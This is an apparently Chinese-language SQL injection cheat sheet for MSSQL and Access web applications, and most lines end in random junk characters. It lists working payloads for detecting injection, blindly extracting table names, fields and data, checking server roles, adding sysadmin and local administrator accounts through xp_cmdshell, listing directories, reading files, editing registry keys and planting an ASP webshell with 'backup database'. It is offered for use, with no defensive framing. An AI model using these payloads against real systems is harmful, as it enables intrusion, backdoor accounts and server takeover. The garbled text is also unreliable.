1.判断是否有注入;and 1=1 ;and 1=2 Q[S""P.Z|
2.初步判断是否是mssql ;and user>0 Wl}d6ZTm
~c+0SuJ
3.注入参数是字符'and [查询条件] and ''=' JhIgqW2
S's\M5
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 7\eN8+
-k=02?0p+
5.判断数据库系统 we!}"'E;
C;M.dd
;and (select count(*) from sysobjects)>0 mssql nxCwg>
rk{DrbRx
;and (select count(*) from msysobjects)>0 access <1>\?$)D
yX?& K}JI
RD<l<+C^~
UuW"
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Ydh]EO0'
36e!je
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 l$z\8]x
g*TAaUs|n
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 6;k#|-GU&
$s$z"<
9.(1)猜字段的ascii值(access) hC=9%u{r?
V07e29w
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 BJwPSKL
t=Tu-2,k
(2)猜字段的ascii值(mssql) ]HCu tq
zaf%%
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 S8^W)XgC;
D^$Nn*i;U
10.测试权限结构(mssql) lt[{u$
"8>*O;xk
Ns?y)
G>:
H"6Sj-<=
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- w-pdpbHV
y7txIe!<5
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
Q47Rriw
+v{<<
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- @;!s"!~sv
"JT R5;`w
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ggIz)</
uAwT)km
{
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- );'8*e'
C AVqjT7
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ^W{+?q'
iZyhj%#
;and 1=(select IS_MEMBER('db_owner'));-- LcI,Dy|P
76(-!Z@=J
TU&gj1
17
Hdj
11.添加mssql和系统的帐户 4Bsx[~ u&
8xW_N"P.>
;exec master.dbo.sp_addlogin username;-- Tl6%z9rY@
;exec master.dbo.sp_password null,username,password;-- FhVi|Va
"hdcB
0
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- e/'d0Gb-
3V>2N)3`A
;exec master.dbo.xp_cmdshell 'net user username password 1-!u=]JDE
:''^a
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ~m2tWi@
"9:1>Gr{G
;exec master.dbo.xp_cmdshell 'net user username password /add';-- #XE`8$
E=+v1\t)]
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- a=>PGriL
Ew~piuj
,Y6Me+5B
v,#*%Gn`%
12.(1)遍历目录 =yJJq=!
>vF=}1_L
;create table dirs(paths varchar(100), id int) A
M8bem~
B[w~bW|K
;insert dirs exec master.dbo.xp_dirtree 'c:\' p)NhV
WLqwntzk
;and (select top 1 paths from dirs)>0 %{Ez0XwGCn
S7vT=
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) df; -E
PBc.}TSGj
x<W`2Du
l6IpyIex
(2)遍历目录 maW,YOyRN
R]L|&{
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- `Hld#+R
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 O RAKg.49
of!Bz
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 z'GYU=
xj~5/)XX|X
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 H48`z'o
:f<3`x'
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ]U.1z
^W+q!pYM9+
t=J WD2
8T6.Zhv
13.mssql中的存储过程 bR"hl? &c
p}_n
:a
xp_regenumvalues 注册表根键, 子键 U2l7@uDr;
"$#X[.
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ]c%yib
})f4`$qf
xp_regread 根键,子键,键值名 L8sHG$[
JFf*v6:,
;exec xp_regread @5jJoy(mX@
Exd$v"s
Y
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 6fV%[.RR
sJu^deX
xp_regwrite 根键,子键, 值名, 值类型, 值 Ad !=
*n
Yz4)Q1
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 MM8@0t'E
R%B"Gtl)
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 L>VZ-j
huVw+vAA
xp_regdeletevalue 根键,子键,值名 DdJ>1504
BBnW0vAZ*
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 c@H:?s!0R
%6r MS}
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 M5DQ{d<r
mkH{%7n
O/b~TVA
g$+u;ER5
14.mssql的backup创建webshell ?`T<
sk8c
:KY920/,
use model )*<=:
$h"Ht2/ J
create table cmd(str image); 1|/P[!u
W3K&C[f
insert into cmd(str) values (''); P6q`i<
c4Q{
backup database model to disk='c:\l.asp'; <5rs~
#m
yiZL%
&s m7R i
wc@X:${
15.mssql内置函数 .PjJ g^^
|KEq-
;and (select @@version)>0 获得Windows的版本号 =d07c
?z,^QjQ}
;and user_name()='dbo' 判断当前系统的连接用户是不是sa IRy!8A=X
fT9z 4[M
;and (select user_name())>0 爆当前系统的连接用户 uLFnuK
Hjl{M>z
;and (select db_name())>0 得到当前连接的数据库 qIE e7;DO
xe ng`!
zGKDH=Yy ;
lFvRXV^+f
16.简洁的webshell :6R0=oz
hF`e>?bN
use model W[B%,Km%]
pe(31%(h
create table cmd(str image); %g1{nGah
"p]bsJG
insert into cmd(str) values (''); ':al4m"
kT|{5Kn&s
backup database model to disk='g:\wwwtest\l.asp';